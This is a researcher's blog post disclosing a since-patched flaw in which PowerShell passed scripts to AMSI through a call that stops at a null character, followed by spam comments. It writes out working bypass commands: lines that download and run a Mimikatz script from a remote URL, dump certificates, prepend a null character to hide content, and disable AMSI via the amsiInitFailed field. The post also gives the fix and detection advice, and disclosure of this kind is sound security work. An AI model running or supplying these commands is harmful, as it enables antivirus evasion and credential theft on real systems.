Friday, February 16, 2018

AMSI Bypass With a Null Character

In this blog post, I am going to look into a flaw I reported a few months ago and see how the flaw could have been exploited to execute malicious PowerShell scripts and commands while bypassing AMSI based detection. This issue has been fixed as defense-in-depth with the February Update.

What is AMSI

AMSI, Anti-malware Scan Interface, is a mechanism Windows 10+ provides security software vendors for developing software that subscribes certain events and detects malicious contents. AMSI issues several types of events, but the most commonly used one by the software vendors is arguably the events about execution of scripts, where software can receive contents of those scripts and commands about to be executed (I will refer to them as contents simply), then scan and block them. 

The below illustration is an overview of how this event is generated and notified to security software for scanning.


The red boxes are security software that subscribes the events from AMSI and are called AMSI providers. When supported script engines such as PowerShell (i.e., System.Management.Automation.dll) and Windows Script Host (e.g., JScript.dll) execute contents, they call one of the functions exported from amsi.dll with the contents to scan with AMSI providers.  

As illustrated above, AMSI providers rely on script engines to call the exported function and forward contents properly through amsi.dll; or, they would not receive contents and detect malicious strings.

The Bug

The bug fixed was System.Management.Automation.dll did not take account of that PowerShell contents could include null characters in them and called AmsiScanString, which treated a null character as the end of contents, to forward contents to AMSI providers. Here is the prototype of the API.
----
HRESULT WINAPI AmsiScanString(
  _In_     HAMSICONTEXT amsiContext,
  _In_     LPCWSTR      string,   // Will be terminated at the first null character
  _In_     LPCWSTR      contentName,
  _In_opt_ HAMSISESSION session,
  _Out_    AMSI_RESULT  *result
);
----

Because of this bug, amsi.dll could truncate contents (value of "string" above) at the first null character and then send to AMSI providers. This results in that AMSI providers not being able to scan all of the contents and detect malicious strings.

Exploitation

The basic idea for exploitation is to place a null character into PowerShell contents before malicious strings appear.

File Based Exploitation

As a basic exploitation scenario, let us assume we are trying to execute Invoke-Mimikatz like this and being detected.
----
> powershell "IEX (New-Object Net.WebClient).DownloadString('https://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-DefaultMimikatz.ps1')"
----


This is because the contents being Invoke-Expression'd are visible to AMSI providers as shown in the below screenshot.

Such detection can be bypassed by placing a null character at the beginning of the file being Invoke-Expression'd.

----
> powershell "IEX (New-Object Net.WebClient).DownloadString('https://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-BypassingMimikatz.ps1')"
----
This successfully bypasses scan and detection by AMSI providers as seen below ("Get-ChildItem Function: | Select-String Invoke" is added for a demonstration purpose).


Command Line Based Exploitation

With the above successful bypass, you might try to execute loaded Invoke-Mimikatz like below, but find it gets detected due to an appearance of "Invoke-Mimikatz" in the command line.
----
powershell "IEX (New-Object Net.WebClient).DownloadString('https://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-BypassingMimikatz.ps1'); Invoke-Mimikatz -DumpCerts"
----

A naive approach with Invoke-Expression could bypass process command line based detection but not AMSI based one, as "Invoke-Mimikatz" will still be visible to AMSI providers. Here is such an unsuccessful attempt.
----
powershell "IEX (New-Object Net.WebClient).DownloadString('https://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-BypassingMimikatz.ps1'); IEX ('Invoke-'+'Mimikatz -DumpCerts')"
----

To bypass AMSI detection in this scenario, we can insert a null character into the command line with a bit of string manipulation.
----
powershell "IEX (New-Object Net.WebClient).DownloadString('https://gist.github.com/tandasat/4958959cdeb1d0ac6dd1c70654b11e83/raw/Invoke-BypassingMimikatz.ps1'); IEX ('if(0){{{0}}}' -f $(0 -as [char]) + 'Invoke-'+'Mimikatz -DumpCerts')"
----

The highlighted part prepends a null character that never gets executed to the original command line. A resulted string will look like this.
----
if (0) {<NULL>} the rest of commands
----

This can successfully prevent AMSI providers from receiving all of the contents and detecting "Invoke-Mimikatz."


Summary of Exploitation

For file contents, insert "#<NULL>" at the beginning of the file, and any places where additional scans with AMSI occur. To identify the latter places, some try-and-error will be needed. Using a debugger and logging invocation of AmsiScanString with the below command will be helpful.
----
bp amsi!AmsiScanString "du @rdx;g"
----

For command line contents, wrap them into Invoke-Expression and prepend "'if(0){{{0}}}' -f $(0 -as [char]) +". Here is another step-by-step example to bypass detection on "AmsiUtils" and "amsiInitFailed" in the below contents:
----
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
----

1. Wrap the original contents with Invoke-Expression.
----
IEX ('[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)')
----

2. Prepend the null character to bypass AMSI based detection.
----
IEX ('if(0){{{0}}}' -f $(0 -as [char]) + '[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)')
----

3. Make any modification sufficient to bypass command line based detection.
----
IEX ('if(0){{{0}}}' -f $(0 -as [char]) + '[Ref].Assembly.GetType("System.Management.Automation.Amsi'+'Utils").GetField("amsi'+'InitFailed","NonPublic,Static").SetValue($null,$true)')
----

It is worth noting that this exploitation is usable even on the Constrained Language Mode and does not trigger any event logs, unlike the most of AMSI bypass techniques which use reflection.

Fix and Recommendation

The fix Microsoft made was to use AmsiScanBuffer instead of AmsiScanString in System.Management.Automation.dll. As shown below, this function accepts arbitrary byte sequence for contents.
----
HRESULT WINAPI AmsiScanBuffer(
  _In_     HAMSICONTEXT amsiContext,
  _In_     PVOID        buffer,  // Not terminated at the null character
  _In_     ULONG        length,
  _In_     LPCWSTR      contentName,
  _In_opt_ HAMSISESSION session,
  _Out_    AMSI_RESULT  *result
  );
----

This way, AMSI providers can receive and scan entire contents even if a null character appears in the middle.

In theory, no action other than applying the patch should be required. However, software vendors using AMSI to scan PowerShell contents should review whether it can handle null characters properly should they appear.

Additionally, security researchers and users of security software can test if their AMSI providers are vulnerable to the bypass technique and ask vendors to address issues if needed. Also, it might be worth monitoring any appearance of a null character in PowerShell contents to detect attempts to exploit this issue.

As for other script engines, PowerShell Core is also affected but does not have a patch as of this writing yet. Windows Script Host is not affected as its interpreter stops reading script contents at the first null character, unlike PowerShell.

Acknowledgement

Kudos to Alex Ionescu (@aionescu) for helping me report this issue, and Microsoft for fixing it.

48 comments:

  1. Good Work and thanks for the approach.

    ReplyDelete
  2. The postings on your site are always excellent. Thanks for the great share and keep up this great work!
    Get Free anti malware tool.

    ReplyDelete
  3. I love reading the blogs on this platform as they are so easy to understand very informative. Great work! 9.4 Million Passengers affected by Cathay Pacific’s Data Breach

    ReplyDelete
  4. Good article and your writing technique is really wonderful . Like this post . Clipping Path | Remove White Background | Product Photo Editing

    ReplyDelete
  5. I m so glad to visit this blog.This blog is really so amazing
    clipping path service

    ReplyDelete
  6. Very effective and useful article. I was finding professional clipping path service provider but after seeing your post I can remove background easily.

    ReplyDelete
  7. Your concept is really exceptional. I would like to thank for the efforts you have made in writing this article and I hope to get best article from you in the future.
    Clipping Path | Image Masking | Photo Retouching | Photo Manipulation

    ReplyDelete
  8. Given article is very helpful and very useful for my admin, and pardon me permission to share articles here hopefully helped :
    remove background from image

    ReplyDelete
  9. Great post
    This blog is really so amazinghttp://clippingpathindie.com/raw-image.html

    ReplyDelete
  10. I really enjoyed your blog Thanks for sharing such an informative post.
    Clipping Path Service

    ReplyDelete
  11. Nice.
    https://www.graphic-aid.com/clipping-path
    https://www.graphic-aid.com/
    https://www.graphic-aid.com/neck-joint-service
    https://www.graphic-aid.com/photo-color-correction

    ReplyDelete
  12. Fantastic article! I hope you spend lot of time for writing the article, then you did success. Clipping Expert Asia is the best product photo editing service provider around the world. Which provides high-quality e-commerce product photo editing that ensures to make the images appealing and professional.

    ReplyDelete
  13. Thanks for sharing this nice post. Clipping expert Asia is the best high-quality
    real estate photo editing service at a cheap price.

    ReplyDelete
  14. Wow it is really wonderful and awesome thus it is very much useful for me to understand many concepts and helped me a lot. it is really explainable very well and I got more information from your blog.
    clipping path services

    ReplyDelete
  15. Absolutely fantastic job you have done here.This is so nice.Thanks for sharing.
    clipping path service
    clipping path

    ReplyDelete
  16. hi dear,this is very good and helpful article thanks for shearing.

    ReplyDelete
  17. My God ! you have really done a wonderful job. The way you have solved the flaw in that software really makes you an engineer. I guess if you really want you can make one of your own antivirus.I hope one day that will happen. Best of luck.
    Best regards
    https://backgroundremove.photos/

    ReplyDelete
  18. Wow it is really wonderful and awesome Tips and tricks share with me.
    Background Removal Service

    ReplyDelete
  19. Unique in creativity and more informative article i am appreciate. Thanks a lot for share. I will be back again and again.

    ReplyDelete
  20. can you recommended me where can I learn software / internet security?

    Toko Otomotif

    ReplyDelete

  21. Lovely blog. Thanks for sharing with us.This is so useful.
    clipping path


    ReplyDelete

  22. Erectile dysfunction or impotence is a health issue that is suffered by men. In this problem, the man becomes unable to get the perfect erection. Irregular blood flow in the body is the cause of this problem. This problem may happen because of various reasons. By taking the help of smart drugs, this problem can be solved. Viagra 150 mg is very effective as an ED pill. Viagra is a brand version of Sildenafil which is a PDE5 inhibitor. It cannot cure your ED, but when you take it with proper sexual arousal, and then it can help you in getting the perfect erection. This ED pill you can easily find in the market. Buy Viagra online and thus you can get this ED pill at an affordable price. There are lots of benefits you can enjoy if you buy Viagra online.
    Buy Viagra online

    ReplyDelete

  23. Azad Soch Punjabi epaper and Punjabi newspaper Publish from Punjab India. Latest Punjabi epaper - Find all Latest News in the Punjabi Language – Business news in Punjabi, Sports news in Punjabi, Viral News and top stories from all across India read only at azad soch Punjabi epaper. latest Punjab news, Punjab news, Punjab news online, Punjab news, Punjab news headlines, Punjab Latest News, Punjab News, Punjabi News Online, Punjabi epaper, epaper Punjab, punjabi epaper, Punjabi News paper, Punjabi e-paper, Azad Soch Punjabi Epaper, Punjabi Newspaper, latest Punjabi epaper


    punjabi epaper

    punjabi news

    punjabi news paper

    punjabi newspaper

    today news in punjabi

    latest punjabi news

    punjabi news today

    punjabi latest news

    https://epaper.azadsoch.in/

    ReplyDelete
  24. We provide database solution for telemarketing activities for the client to target their appropriate market.we have all the data city wise phone number list. State wise phone number list. List of Indian phone number with name. we are the best database provider in India and we provide phone number and email list.

    mobile number database

    indian mobile number list

    phone number database

    indian mobile numbers list

    indian mobile number directory

    indian phone number directory

    mobile number database provider

    all mobile number list

    phone number list

    mobile number list with name

    ReplyDelete
  25. This is a great inspiring article.I am pretty much pleased with your good work.You put really very helpful information.
    Read article on Winter Tips For Elders.

    ReplyDelete
  26. Pretty good post. I just stumbled upon your blog and wanted to say that I have really enjoyed reading your blog posts.
    Read latest Blogs on Importance of Enterprise Contract Management.
    Read my blog on Safety Tips for Working at Heights
    Read My article on Benefits Of Dental Implants.

    ReplyDelete

  27. I'm appreciate your writing skill. Please keep on working hard. Thanks for sharing.
    clipping path

    ReplyDelete
  28. This is very good and helpful article thanks for shearing. If you need image editing service just check out our website : https://imagecutoutartist.com/

    ReplyDelete